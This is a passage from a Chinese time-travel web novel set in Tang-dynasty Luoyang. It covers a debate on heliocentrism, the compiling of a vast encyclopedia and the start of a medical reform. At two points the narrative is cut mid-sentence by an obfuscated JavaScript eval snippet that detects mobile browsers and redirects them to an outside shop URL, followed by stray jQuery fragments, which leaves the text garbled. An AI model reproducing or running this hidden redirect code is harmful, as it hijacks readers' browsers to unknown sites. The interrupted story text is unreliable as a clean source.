“不错。假设,吾等所居之大地,并非静居天之中央,而是一颗如同火星、木星般的星辰,与其他几大行星一同,围绕中央这团永恒燃烧的炽热大火——太阳,作圆周(实为椭圆,但李瑾暂未提及)运转。而月亮,则是专司绕地旋转之卫星。”李瑾一边演示,一边解释,“大地自身,亦在不停地绕着一根穿过其南北两极的‘轴’旋转,一日一周,故有昼夜交替。而大地绕日公转轨道之平面(黄道面)与其自转轴不重合,有倾角,加之公转位置变化,导致太阳直射点在南北回归线之间移动,故有四季轮回。”
他指着模型中的地球:“若以此观之,则金、火等星之‘逆行’、‘留’,并非其本当如此诡异行进,实乃因我等地动,观测他星时,因相对位置与速度不同,产生的视觉错觉。譬如两车并驰,快者超慢车时,于慢车之人观之,快车似有短暂后退,实乃错觉。”
他又指向太阳:“而太阳,居于中心,光芒万丈,滋养万物,是为太阳系之核心。众星绕之,各安其道,各循其轨。”
观星台上,一片死寂。只有夜风吹过铜制浑仪发出的细微呜咽,和远处洛水模糊的流淌声。所有人都被这惊世骇俗的构想震得说不出话来。大地是颗“星辰”?在转动?还绕着太阳转?那头上高悬的、亘古不变的苍穹星辰呢?那些被赋予无数神圣意义和天人感应联系的日月五星、二十八宿呢?这简直是将千百年来的信仰和认知基石,彻底掀翻!
“荒……荒诞!”一位年长的、原司天台出身的博士,脸色煞白,颤抖着手指着模型,“太子太师!此说悖逆经传,违背圣人之教!天行健,君子以自强不息,乃是天动地静!《周易》有云:‘天尊地卑,乾坤定矣’。地若转动,人何以立?水何以存?若地动,为何我等毫无所觉?若地绕日行,为何不见星宿位置剧变(周年视差)?此……此乃邪说!”
李瑾似乎早预料到如此激烈的反应,他神色不变,平静道:“刘博士稍安。此说仅为‘假说’,一种解释天象的‘可能’之模型,尚未定论。我将其提出,非为立即推翻旧说,而是请诸位思辨、验证。”
他转向陆明远和赵玄默:“陆馆主,赵馆主,你二人精于观测与计算。请问,若以‘地心静’之浑天旧模型,解释金星、火星轨迹,需设几重均轮、本轮?计算误差几何?若以此‘日心动地’之简化模型,假定大地绕日,其轨道为圆(暂定),再叠加地球自转,以此计算金星、火星之轨迹,其复杂程度如何?能否更好地拟合司天台历年观测之数据?”
这是个纯粹的技术性问题,从数学和观测角度出发。陆明远和赵玄默从震惊中稍稍平复,陷入沉思。他们深知传统模型的繁琐与瑕疵。赵玄默尤其敏锐,他立刻意识到,如果假设地球在动,许多原本复杂的行星视运动,可能会变得简单、对称许多,数学描述可能更简洁。
“这……需详加计算,比对数据,方可得知。”赵玄默谨慎道,但他的眼神已经开始闪烁起计算的光芒。
“还有,”李瑾继续引导,“若大地为球形,且在转动、绕日运行,那么,从不同地点观测同一星体,其位置应有细微差别(视差),只是此差别极其微小,以当前观测手段,或许难以察觉。但,若大地在动,为何我等不觉?可尝试类比:人乘巨舟行于平稳大河之中,闭窗而坐,但见两岸景物后移,可知舟行。然若舟行于茫茫大海,四顾唯水天一色,无参照之物,舟行平稳,则舟中人是否易觉舟动?吾等居于此巨大‘地舟’之上,周遭唯见日月星辰,若无更远之参照,确实难觉其动。”
“再有,若大地为球,且在宇宙虚空之中,”李瑾抛出了另一个重磅问题,“那么,为何万物皆落向地,而非飞向天空?吾称之为‘重力’,即大地吸引万物之力,如同磁石吸铁。此力指向地心,故无论大地如何转动,吾等皆被牢牢吸附其上,水亦附于地表。而日月星辰,或许亦受某种类似之力约束,各循其轨,不至散逸。”
“重力?”清玄子不知何时也来到了观星台,他最近痴迷于各种力的研究,听到这个词,立刻竖起了耳朵。“大帅是说,天地间有一种无形之力,如磁石般,将万物引向地心?那星辰绕日,是否亦受此力维系,犹如以绳系石旋转?”
“或有可能。”李瑾赞许地看了清玄子一眼,“此乃更深之猜想,可称之为‘万有引力’之雏形。然此力之大小、规律,尚需探究。今日所言‘日心说’,重点在于其能否更简洁、更准确地解释、预测天象。此为‘工具’,而非‘教条’。吾等格物,当以观测为本,以数学为器,何种假说能更佳地契合观测、预测未来,便暂用何种。若他日有更新、更精确之观测,证明此说有误,便当修正甚至弃之。此方为求真之道,而非固守一经一传。”
他将“假说”、“工具”、“观测验证”、“数学拟合”这些概念,清晰地摆在了这些当世顶尖的学者面前。这不仅仅是在介绍一个宇宙模型,更是在传授一种全新的、基于实证和逻辑的思维方式。
刘博士等保守者依然面色难看,难以接受。但陆明远、赵玄默、清玄子,以及几位更年轻的算学、地舆博士,眼中却燃起了熊熊的探索火焰。他们或许一时无法全盘接受“日心说”,但李瑾提出的问题——传统模型的繁琐与误差、新模型的潜在简洁性、用数学和观测来检验假说——像一把钥匙,打开了一扇被经学迷雾封锁了太久的大门。
“此事,暂且限于地舆馆、算学馆、格物馆核心人员知晓,详细研讨,谨慎计算,勿要外传,徒惹非议。”李瑾最后叮嘱道,“可先以‘修订历法,探究五星运动新解’为名,成立小组,秘密进行。以浑天旧说为本,以新说为参,并行计算,比对司天台百年观测记录,看何者更优。同时,需设计更精密的观测仪器,改进计时工具,以获取更精确数据。”
一场静悄悄的天文学**,就这样在格物院的观星台上,在月色与铜仪的微光中,埋下了种子。接下来的数月,地舆馆和算学馆的一部分精英,在李瑾的指导下,开始了隐秘而激动人心的工作。他们以“改进历算”的名义,向司天台调阅了更为详尽的历代行星位置观测记录(尤其是金星、火星的“留”、“逆”数据)。赵玄默带领算学馆的精英,开始尝试用“日心模型”的几何关系,建立新的计算表格。这远比他们想象中困难,因为李瑾并未给出开普勒三定律,他们只能假设圆形轨道、匀速运动,这依然会产生误差,但初步的计算结果显示,在某些情况下,新模型的描述似乎确实比层层叠叠的均轮本轮要简洁。
与此同时,地舆馆的观测也在加强。他们改进了观星仪器上的刻度,尝试制造更精密的漏刻和日晷,并开始系统性地记录行星的精确位置,特别是金星亮度的周期性变化(这是支持日心说和金星绕日运行的关键证据之一,但需要长期观测积累)。
然而,世上没有不透风的墙。格物院内这种对“天地结构”的“离经叛道”的探讨,虽然仅限于高层,但一些模糊的风声和那些越来越精深、越来越“奇怪”的数学计算,还是引起了院内一些出身正统儒学士大夫、或与外界清流有联系的学者的不安
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086405|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
终于,在麟德九年深秋的一次格物院内部“论学小会”上,当赵玄默在一次关于五星运动计算的报告中,不经意间用到了“假设地动”的简化模型来演示计算思路时,矛盾爆发了。
一位来自国子监、被征召入院负责典籍整理的经学博士孔颖(与那位注疏《五经正义》的孔颖达同族)拍案而起,厉声斥责:“荒谬绝伦!尔等在此钻研奇技淫巧也就罢了,如今竟敢妄议天地,诋毁圣贤之教!天动地静,天尊地卑,此乃纲常伦理之基,天地定位之本!尔等假设地动,将置天子于何地?将置君臣父子之大义于何地?!此乃祸乱人心,动摇国本之邪说!我定要上奏朝廷,**尔等狂悖!”
孔颖的怒吼,如同惊雷,在原本只是学术探讨的论学堂中炸响。支持新说者与坚守旧说者顿时激烈争论起来,场面一度失控。
消息很快传到李瑾耳中。他知道,思想的碰撞终究无法完全禁锢在学术**塔内。当新认知触及到旧世界观和伦理秩序的根基时,激烈的反弹是必然的。他必须亲自面对这场风暴,既要保护这株刚刚萌芽的科学幼苗,又不能与强大的传统势力彻底**。
几日后的“大论学堂”(格物院定期举办的公开学术交流活动),李瑾亲自主持,并特意邀请了那位孔颖博士,以及院内对“日心说”有疑虑的学者,还有陆明远、赵玄默、清玄子等人。甚至,一些消息灵通、对此事感兴趣的朝廷官员和洛阳名儒,也闻风而来,将论学堂挤得水泄不通。所有人都知道,今天将有一场关于“天”与“地”的根本性辩论。
李瑾没有直接阐述“日心说”,而是从实际问题出发。他让陆明远展示了司天台近百年来对金星、火星位置观测的记录与浑天说模型推算结果的误差累积表。又让赵玄默用两种模型(极度简化的日心圆形轨道模型vs传统均轮本轮模型)对下一次金星“大距”和火星“冲日”的时间、位置进行了推算,并将结果封存,宣布待天象发生后再验证。
然后,他展示了那个太阳系模型,但强调这只是一个“帮助思考的辅助工具”,一种“数学假说”。他重申了格物院的原则:尊重观测事实,运用数学工具,哪种假说能更简洁、更准确地描述和预测自然现象,就更值得被考虑和检验。
“天道幽远,人力有穷。”李瑾面对众人,声音沉静而有力,“吾辈格物,非为挑战圣贤,实为探究造化之妙,以利生民。历法不准,则农时易误;海图不精,则舟师迷航。探究星辰运行之本相,旨在制定更精之历,绘制更准之图。至于天尊地卑,乃人伦大义,关乎治道,与星辰运转之物理,或可并行不悖。譬如,父母尊于子女,乃人伦;然父母子女皆立于大地之上,同受日照,此乃物理。二者层面不同,何必混为一谈?”
他看向面色铁青的孔颖:“孔博士忧心世道,忠心可鉴。然,若因固守某说,而拒绝探究更合天象之解释,致使历法渐差,贻误农时;海图谬误,舟覆人亡,此岂非更大之不仁?格物院所求,乃‘真’。此‘真’,需以实测为基,以算学为刃,反复砥砺,方可得其一二。若他日有确凿证据,证明吾等今日之假说为谬,吾等自当弃之如敝履。此方为孔圣‘知之为知之,不知为不知’之求真精神,亦是我辈学人应有之态度。”
李瑾的话,将争论从“是否悖逆经义”的意识形态层面,部分拉回到了“哪种模型更实用、更准确”的技术层面,并为传统伦理留下了空间(“层面不同”)。这让许多中间派陷入了思考。
孔颖一时语塞,但仍强硬道:“纵然有些许误差,亦可以浑天说为本,修订均轮、本轮之数,何必另起炉灶,用此惊世骇俗之谬说?此乃舍本逐末,动摇人心!”
“是否‘谬说’,当由天象裁决,而非由人心揣度。”清玄子忽然开口,他最近通过透镜观测金星,发现其确有类似月亮的相位变化(这强烈暗示金星围绕太阳运行),只是观测尚不系统。“贫道近日观测金星,其光影圆缺,有规律可循,此象浑天说难以完美解释。或许,太子太师之假说,可提供一种思路。是真是伪,且待日后更多观测验证便是。在确证之前,何妨存疑、探究?若因惧‘动摇人心’而闭目塞听,岂非因噎废食?”
争论没有结果,也不可能立刻有结果。但“日心静地动”的假说,如同一颗投入古潭的石子,已在格物院乃至更广的精英圈层中,激起了深深的涟漪。它带来的不仅仅是天文学上的挑战,更是一种思维方式的启蒙:权威(哪怕是经典和千年的传统)并非不可质疑,假说需要实证检验,数学和观测是检验真理的工具。怀疑与探索的种子,一旦播下,便会在某些心灵中悄然生根。
论学散去,许多人依然在激烈争论。李瑾知道,真正的风暴还在后面。但他更清楚,当第一束怀疑的目光投向那被视为亘古不变的苍穹时,某些东西,已经永远地改变了。科学的道路,从来不是坦途,而是一次次勇敢地,将目光投向未知的深海与星空。
第246章 编修大典成
“日心说”引发的涟漪尚未平息,格物院内新旧思想的暗流仍在涌动。然而,李瑾深知,思想的论战固然重要,但知识的沉淀、整理与传播,才是文明进步的坚实阶梯。当一种新的认知范式开始萌芽,当零散的经验、技艺、发现逐渐积累,迫切需要一种系统性的梳理、甄别、归纳与编纂,将其从个人的、私密的、口耳相传的“秘术”,转化为公共的、可传授的、可验证的、可发展的知识体系。这不仅是传承的需要,更是将“格物”理念制度化、正统化,并最终融入帝国文化血脉的关键一步。
恰在此时,一个绝佳的契机出现了。
麟德九年冬,天后武媚娘于洛阳宫贞观殿召集重臣,议及文教之事。其时,大唐国力臻于鼎盛,四夷宾服,海内晏然。武后雄才大略,既有经天纬地之志,亦有垂范青史之心。她深感自太宗朝修撰《五经正义》定儒学一统,高宗朝敕编《文馆词林》、《瑶山玉彩》等类书以来,虽文治粲然,然典籍浩繁,新旧杂糅,尤以近年来格物院所倡“实学”、“新技”、“异闻”层出不穷,多有未载于经典、不见于故纸者。或散落于匠户作坊,或流布于海商行旅,或秘藏于方士丹房,不成体系,难窥全豹。长此以往,恐技艺失传,新知湮没。
“本宫观古今治世,武功文治,不可偏废。”武媚娘凤目扫过殿中群臣,最后落在李瑾身上,“三郎倡格物致知,诸馆新学迭出,于国于民,实有裨益。然学理技艺,若无编纂整理,则如珠玉散地,难以汇聚成器。本宫有意,仿前代修书旧例,集天下饱学之士、能工巧匠,于洛阳设馆,广搜博采,编修一部旷古未有之巨典,不唯经史子集,更兼百科杂学,凡天文、地理、算数、医药、百工、农桑、舟车、军械、乃至海外风物、新出技艺,无所不包,务求详尽,以彰我大唐文治之盛,亦为后世开智储才。三郎以为如何?”
李瑾闻言,心潮澎湃。这正是他梦寐以求之事!将格物院数年来探索的成果,以及天下已有的实用知识,进行一次全面的、系统化的整理、验证和编撰,这不仅是知识的集大成,更是确立“实学”地位,将其从“奇技淫巧”提升到“经世致用之学”高度的绝佳机会。他当即出列,深施一礼:“天后圣明!此乃功在当代、利在千秋之盛举!臣以为,此典不应囿于经史陈言,更当以‘经世致用,格物求真’为旨,广收天下有用之学,尤其是近年格物院所究之新学、所创之新技,详加考辨,去伪存真,图文并茂,务使览之可学,学之可用。此典若成,当名之曰——《弘道大典》或《开元宝典》,取其包罗万象、开启新知之意。”
“《开元宝典》?好!此名气象恢宏!”武媚娘拊掌称善,“便以此名!此事,便由太子太师李瑾总领,会同秘书监、国子监、弘文馆、崇文馆,并格物院诸馆,广征天下名儒宿学、奇才异能之士,齐聚洛阳,设‘修典馆’,即日开馆修书!所需钱粮用度,一应由内库、户部支应!”
诏令一下,天下震动。自魏晋南北朝以来,国家组织编纂大型类书、总集,本是文治昌明的象征,如《皇览》、《修文殿御览》、《艺文类聚》、《北堂书钞》等。但如武后所谕这般,明确要求将“百工杂学”、“海外新技”与经史并列,甚至单独成类,系统编入国家级大典,实属破天荒第一遭。这无疑是对传统“重道轻器”、“重义理轻技艺”观念的一次公开挑战和部分修正。
消息传出,清流士林反应复杂。一部分正统儒臣激烈反对,认为将工匠之术、方士之流、海外奇谈与圣贤经典并列,是“淆乱学统,褒渎斯文”,有损朝廷体面。但更多务实或嗅觉敏锐的官员,尤其是与格物院已有接触或对其实用成果(如改良农具、新式海图、**配方、医疗防疫等)有所了解的朝臣,则看到了此事的深远意义——这是将那些“有用之学”正式纳入国家知识体系,赋予其合法性与权威性。不少在野的饱学宿儒、隐逸名士,也被“修撰旷世大典”的名头所吸引,或为扬名,或为求道,纷纷应召前来。
洛阳城东南,原属将作监的一处庞大官署被紧急修缮、扩建,挂上了“修典馆”的金字匾额。馆内殿宇连绵,廊庑深邃,设总纂厅、分纂处、誊录房、藏书库、绘图坊、样本作坊等,规模空前。李瑾被任命为“监修总裁”,总揽全局。秘书监、国子监、弘文馆、崇文馆的负责人以及数位德高望重的硕儒任“副总裁”,分管经史、诸子等传统典籍部分的编纂。而格物院八大学馆的馆主,则被任命为“分纂总纂”,各自负责本学科领域的编撰工作。此外,还从全国各地征召、荐举了超过两千名在经学、史学、诸子、文学、天文、历算、地理、医药、百工、农桑、乃至海外方物等方面有所长的学者、匠人、方士、海商,汇聚洛阳。
一场规模空前、意义深远的知识大整理、大编纂,拉开了帷幕。
然而,编纂伊始,便遇到了根本性的难题——体例。传统类书,如《艺文类聚》,多以“天、地、人、事、物”为纲,下列子目,摘录前人著作中的相关文字,以辞藻、典故为主,注重“文”而非“理”,重“述”而不重“作”,更不涉及具体的技术操作和数据。这显然无法容纳格物院所强调的实证知识、技术流程、定量数据和那些全新的、不见于经传的概念。
围绕体例,修典馆内爆发了激烈的争论。传统派的副总裁、大儒们坚持沿用旧类书体例,将新技术、新知识拆散,附会于传统的“天部”、“地部”、“器用部”等条目之下,作些点缀即可。而以李瑾为首的格物院派,则坚决要求设立全新的、独立的部类,按照知识的自身逻辑和实际应用来分类编排。
“《开元宝典》,当为‘典’,而非‘类书’!”在一次激烈的总纂会议上,李瑾力排众议,“类书辑录旧文,供词臣獭祭;宝典当立新规,为万世法式!若依旧例,则新式帆索之制,该入‘舟车’还是‘器用’?蒸汽之力原理,该入‘天象’还是‘巧艺’?新式炼钢法,是归‘金铁’还是‘方技’?如此强附,非驴非马,后人何以查考,何以**用?”
他提出了自己酝酿已久的全新分类框架——“三层两翼”结构。
“三层者:道、法、术。”李瑾阐述道,“道,为根本原理,如算学之公理、格物之力学、化机之变化本质、天地运行之规律(暂以浑天、宣夜诸说并存)。法,为规律方法,如各种算法、实验之法、观测之法、推演之法。术,为应用技艺,如舟车制造、军械火器、农工之法、医药之术。”
“两翼者:用、流。”他继续道,“用,载其实际应用、操作规程、数据图表,务求详尽,可依样施行。流,述其源流演变、各家异同、未解疑难,以启来者。”
“具体部类,当打破经史子集之藩篱,依学理与实用重分。”李瑾最终抛出了他设计的、融合了传统与创新的分类目录,共分十大门类,下辖百余子目:
1.经史大义门(仍收传统儒家经典及历史,但强调经世致用的注解,并增“域外史地”子目,收录《坤舆万国全览草图》及说明,海外诸国风土志)。
2.诸子百家门(收录儒、道、法、墨、名、农、兵、阴阳等诸子著作,并增“新学滥觞”子目,收录格物院新出之理论文章、假说探讨,如“日心说”之辩论文稿,仅作为一家之言收录)。
3.天象历算门(分天文、历法、算术三大部分。天文部不仅录传统星象分野、占验之说,更以大量篇幅收录司天台、格物院地舆馆最新观测数据、星图、仪器制法,并列浑天、宣夜、日心(作为假说)诸说。算术部则以新符号、新方法系统整理《九章算术》等,并加入李瑾引入的几何、代数初步知识,强调演算过程与实用例题)。
4.地理舆图门(以《坤舆万国全览草图》及其绘制方法、测量术为基础,系统收录大唐及四夷地理、山川、气候、物产、城池、道路、航道,并附详细图说、比例尺、图例规范,首次将精确制图学系统纳入)。
5.格物致知门(全新门类,下设力学、热学、声学、光学、磁学等子目,收录杠杆、滑轮、浮力、镜鉴、钟律等原理探究与实验结果,强调实验、数据、结论)。
6.化机工巧门(全新门类,融合传统炼丹、冶金、陶瓷、染色、酿造等,按物质变化分类,收录物质性质、反应现象、提纯方法、合金配方、**配制、新式焦炭炼铁法等,强调流程、配方、安全)。
7.舟车军械门(收录船舶、车辆、桥梁、宫室等营造法式,以及各种兵器、甲胄、攻城器械、新式火器的制造图纸、用料、工艺,特别是飞轮船、新型海鹘舰、火炮、**的详细制法和操作规程)。
8.农桑医道门(分农桑、医药两大块。农桑部收录新式农具、育种、嫁接、轮作、施肥、除虫、水利之法。医药部下设“医经”、“本草”、“方剂”、“解剖”、“外科”、“防疫”等子目,系统整理《黄帝内经》、《伤寒杂病论》、《神农本草经》等,并加入格物院医道馆新编的人体结构图、手术器械图、消毒法、麻醉法、常见病防治手册等)。
9.博物志异门(收录各地物产、奇珍、异兽、草木、矿物图谱及特性,以及海外传入的动植物、香料、宝石等,注重形态描绘、产地、用途,兼具知识性与趣味性)。
10.艺文杂纂门(收录诗赋文章、琴棋书画、礼仪乐律等,体现“道艺合一”)。
此分类法一出,满座哗然。传统派大儒指责其“悖逆伦常,尊卑倒置”,“竟将匠作之术与圣贤经传并列,成何体统!”甚至有人以辞职相威胁。
李瑾毫不退让,他搬出了武后的旨意和“经世致用”的大旗,并请出几位支持新政的务实派重臣如刘仁轨、裴行俭等为之声援。更重要的是,他展示了格物院部分已编纂成册的“教材”和实验记录,其条理之清晰、叙述之准确、图文之并茂、数据之详实,远非传统类书中那些语焉不详、充满神秘色彩的描述可比。他反问:“若依旧例,将火器制法归入‘兵略’或‘器用’,寥寥数语,后人何以依之制造、改良?若将防疫之法散入‘医方’,而无病理、传播之说明,何以应对时疫?此典既为‘宝典’,当使后人开卷有益,按图可索,**之能用,方不负‘开元’之名!”
争论持续了数月。最终,在武后的默许和部分开明官僚的支持下,李瑾的“三层两翼、十门百目”分类法,以其前所未有的系统性、实用性和包容性,获得了通过。传统经史部分仍占据重要篇幅,但新知识获得了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086406|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
独立的、堂堂正正的分类地位。
体例既定,浩如烟海的编纂工作全面展开。两千余学者、匠人,在总纂、分纂的统领下,按照新的分类框架,开始了紧张的编纂。传统典籍的校勘、辑录、分类,由国子监、弘文馆的硕儒们负责。而新知识的整理,则成为格物院各馆的主战场。
算学馆在赵玄默带领下,以新符号、新方法,重新演绎、注释、增补自古以来的算学经典,并编撰了全新的《算学阶梯》作为基础教材,附录了大量实用算题(田亩、赋税、工程、商贸等)。地舆馆在陆明远主持下,不仅将《坤舆万国全览草图》及其绘制原理、测量方法详尽编入,还整理了大量的地方志、行记、海图,编成《天下舆地总汇》。格物馆的清玄子,则组织人员将几年来的实验记录、仪器制法、力学、光学、热学初步原理,整理成图文并茂的《格物初阶》。化机馆的章焕,带着炼丹士、工匠们,以近乎“化学实验手册”的方式,整理物质特性、反应现象、冶炼配方,编成《化机要览》。舟车、军械、农工、医道各馆,更是将各自领域的“不传之秘”——图纸、配方、工艺流程、操作规范、病例分析——毫无保留地整理出来,形成一部部详尽的“技术百科全书”。
编修过程本身,也是一次深刻的知识碰撞与融合。许多传统学者第一次系统地接触到这些“奇技淫巧”背后的原理和数据,从最初的鄙夷,到惊讶,再到沉思。而工匠、方士们,则在学习如何将自己的经验,用准确、清晰的语言和图形表达出来。李瑾要求,所有收录的知识,尤其是新技术、新发现,必须注明来源、验证过程、可能误差,并鼓励记录不同观点和未解之谜。对于“日心说”这类争议理论,则以“假说”、“异说”形式收录,列出其解释天象的优点与传统浑天说的难点,供后人研究评判,体现了“存疑”、“求真”的精神。
绘图坊内,画师们根据各馆提供的草图、描述,绘制出精细的器物图、结构图、解剖图、星图、地图、物产图。样本作坊里,工匠们则依图制作缩小比例的模型,如新式水车、纺织机、船舶、火炮模型,甚至人体骨骼、器官模型,以备校核和直观展示。
麟德十年春,到麟德十一年秋,历时近两年,这部旷世巨典的编纂工作,终于接近尾声。全典分装一千零三十三卷,目录六十卷,总字数逾万万言,插图逾三万幅。参与编校、抄录、绘图的学者、工匠、书手、画师等,前后超过五千人。所耗纸张、笔墨、绢帛、物料不计其数,武后数次从内库拨付专款,朝野称之为“盛世修典,亘古未有”。
麟德十一年腊月,新修《开元宝典》的部分精华卷帙,以特制香墨、上等徽纸、锦缎函套装帧完成,进呈御览。武后与高宗皇帝在洛阳宫盛大仪式上接受献书。当那堆积如山的典册、精美绝伦的插图、前所未见的分类呈现在面前时,即便是见惯了大场面的帝后与群臣,也为之震撼。
武媚娘亲手翻阅了载有新式海船图样、火炮制法、世界地图、人体解剖图、蒸汽机原理(初步)阐述、新式农具图谱的卷册,凤目之中异彩连连。她当廷下诏,褒奖所有修典人员,赐李瑾金紫光禄大夫,加太子太师如故,总纂、副总裁、各馆馆主等各有封赏。并下旨,于洛阳、长安各设“宝典阁”收藏全本,另抄录三部,分藏于弘文馆、崇文馆、集贤院。并令将其中“切于民用”的农桑、医药、舟车、水利、算术等部分,摘要编为《开元宝典便民辑要》,刊印颁发各州县,以广流传。
《开元宝典》的修成,其意义远不止于一部大型类书的问世。它标志着,在李瑾的推动和武后的支持下,一套以“经世致用、格物求真”为核心,融合了传统经典与新兴科技,并试图以相对系统、客观、实证的方式进行整理和表述的新知识体系,第一次以国家权威典章的形式,登堂**,获得了正式的、官方的承认。尽管其中仍充斥着新旧思想的妥协与杂糅,传统经学依然占据着名义上的首要地位,但那些曾经被视为“末流”、“小道”、“奇技淫巧”的实用知识与技术,终于有了与经史并列的独立门类,其原理、方法、数据被郑重其事地记录、传承。
这无疑是一次静默却影响深远的“知识**”。它为格物院的存在和“实学”的传播,披上了最正统、最华丽的外衣。无数渴望新知的士子、匠人,将能通过这部大典,接触到前所未有的知识世界。怀疑与实证的精神,系统分类与逻辑表述的方法,也随着这部巨典的流传,悄然渗透。
朝会上,一位白发苍苍的老儒,抚摸着刚刚颁发的《便民辑要》中那清晰准确的犁铧改良图样和施肥说明,对着身边同僚,喃喃叹道:“自此以后,经义与匠作,同载典册,恐圣人之道,将不得独尊矣……”语气复杂,不知是忧是叹。
而在修典馆那间总纂大厅里,李瑾看着最后一批书卷被装箱运走,心中并无太多激动,只有沉甸甸的责任。他知道,这只是一个开始。《开元宝典》是一座丰碑,但更是一个起点,一个将知识从庙堂之高、私密之阁,推向更广阔天地的起点。知识的种子已经播下,并有了第一片相对肥沃的土壤。接下来,是让这些种子发芽、生长,并最终改变这片古老土地面貌的时候了。
第247章 医术大革新
《开元宝典》的墨香尚未散尽,其浩瀚篇幅中独立成门的“农桑医道”部,尤其是其中大量前所未见、图文并茂的医药新知,如巨石入水,在太常寺太医署、尚药局以及民间杏林之中,激起了远比“日心说”更为直接、也更为复杂的波澜。毕竟,星辰运转关乎观念,而医药生死,则切切实实关乎每个人的身体与伦常。当那些描绘着清晰人体骨骼、肌肉、内脏位置的“解剖图”,记载着用刀针处理外伤、痈疽甚至“剖腹取肠”的“外科要术”,以及强调“病气”(病菌)可通过接触、空气、虫媒传播,需以“沸水、烈酒、石灰、蒸熏”防范的“防疫辑要”,连同诸多前所未闻的药方、疗法一同被收录进煌煌国典时,引发的震动可想而知。
格物院医道馆,这个原本在八馆中相对低调、以整理古籍和搜集民间验方为主的分支,一夜之间被推到了风口浪尖。馆主秦鸣鹤,本就是京洛名医,曾以金针刺穴缓解高宗风疾而受赏识,被李瑾延请入格物院。他年近五旬,性情沉稳,精于针灸和内科,对《黄帝内经》、《伤寒论》钻研极深。起初,他对李瑾提出的“实证医理”、“解剖明形”、“外科技法”颇感疑虑,认为医道首重阴阳五行、脏腑气机,刀针金石乃不得已之下策,且“身体发肤,受之父母,不敢毁伤”,解剖人体有违人伦。但李瑾并未强求,只是让他先主持整理、验证《宝典》中计划收录的医药部分,尤其是那些来自民间、军队、乃至域外(如天竺、波斯)的奇方异术,并系统研究常见疾病的症状与疗法。
在整理过程中,秦鸣鹤和他的弟子们遇到了无数难题。许多古方记载模糊,药材异名繁多,剂量全凭“少许”、“适量”;对疾病起因的描述,多归为风寒暑湿、情志内伤或鬼神作祟,治疗方法则针、灸、药、咒禁混杂,疗效难以确证。更麻烦的是外科和伤科,军中金疮箭伤、民间痈疽骨折,死亡率、致残率极高,而传世医书对此记载简略,多强调“敛疮生肌”的方药,对清创、缝合、正骨手法、预防“溃烂”(感染)几乎无系统论述。
转折点出现在麟德十年夏。洛阳周边数县爆发“绞肠痧”(霍乱或急性肠胃炎)及“虏疮”(天花?)疫情,蔓延迅速,死者相枕。太医署派员救治,仍按伤寒、温病论治,效果不彰。李瑾紧急命令格物院介入,并授意秦鸣鹤尝试《宝典》编纂中已初步成形的“防疫法”:隔离病患,沸水消毒衣物器具,石灰水泼洒污染区,要求接触者以面巾(简易口罩)覆口鼻,并用高度蒸酒(尝试提纯的酒精)擦拭患处和医者手臂。同时,对“绞肠痧”患者,试用口服“糖盐水”(李瑾根据记忆提出的补液概念)替代单纯禁食或泻下。
效果是显著且令人震惊的。在严格采取隔离和消毒措施的村庄,疫情蔓延速度明显慢于其他地方。尽管仍有死亡,但“糖盐水”疗法确实让部分上吐下泻濒死的患者挺了过来。尤其是一位兵部重伤员,腹部被箭矢所伤,肠子外露,按照传统做法几乎必死,但在秦鸣鹤亲自指挥下,医道馆的弟子以蒸酒清洗伤口和双手,用沸煮过的细麻线(尝试以羊肠线替代但未成功)小心缝合了肠管和腹壁,术后以蒸酒擦拭伤口,并用沸水煮过的洁净麻布包扎,令其独居一静室休养。这名伤员竟奇迹般地避免了常见的“溃烂发热”,伤口逐渐愈合,月余后能下地行走!
此事在太医署和洛阳医家圈中引起了轰动。秦鸣鹤亲自经历了这一切,深受触动。他开始反思,那些被自己视为“小道”、“未技”甚至“残忍”的方法,在生死面前,似乎有着传统医理无法解释的奇效。李瑾趁热打铁,与他进行了一次长谈。
“秦公,医者仁心,首在活人。无论针砭药石,还是刀割线缝,皆是手段。若因固守‘身体发肤’之训,而眼睁睁看伤者溃烂而死,看疫病蔓延夺命,此仁心何在?阴阳五行,乃先贤解释人身天地之理之模型,其理或有之,然具体到一疮一伤,一疫一病,若不深究其形,明其所以然,仅凭气化推演,岂非隔靴搔痒?”李瑾恳切道,“譬如金疮,若不直视伤口,清除污秽,缝合断裂,单靠内服汤药,何以促其愈合?譬如疫病,若不知其可接触相传,不设法隔断,纵有仙丹,何能阻其蔓延?”
他拿出几卷精心准备的图册,那是他凭借记忆和理解,结合询问军中疡医(军医)、屠户、以及查阅零星古籍(如《灵枢》中模糊的解剖记载,王莽时翟义党徒被“割剥”的记载)后,绘制的人体骨骼图、肌肉示意图、内脏位置关系草图,虽然粗糙,且有不少错误,但大致方位、形状已远胜任何传世医书中的“内景图”。旁边还附有从屠户处观察猪羊犬牛等动物解剖得到的类比笔记。
“此非亵渎,实为敬畏生命,探究造化之妙。”李瑾指着图册,“人非鬼神,乃血肉筋骨所成。不明骨骼如何支撑,筋肉如何牵引,五脏六腑如何安放,气血如何通行,何以正骨?何以用针?何以用药直达病所?古人云‘知其要者,一言而终;不知其要,流散无穷’。此‘要’,或就在这实实在在的形体结构之中,辅以气化运行之理,方为周全。”
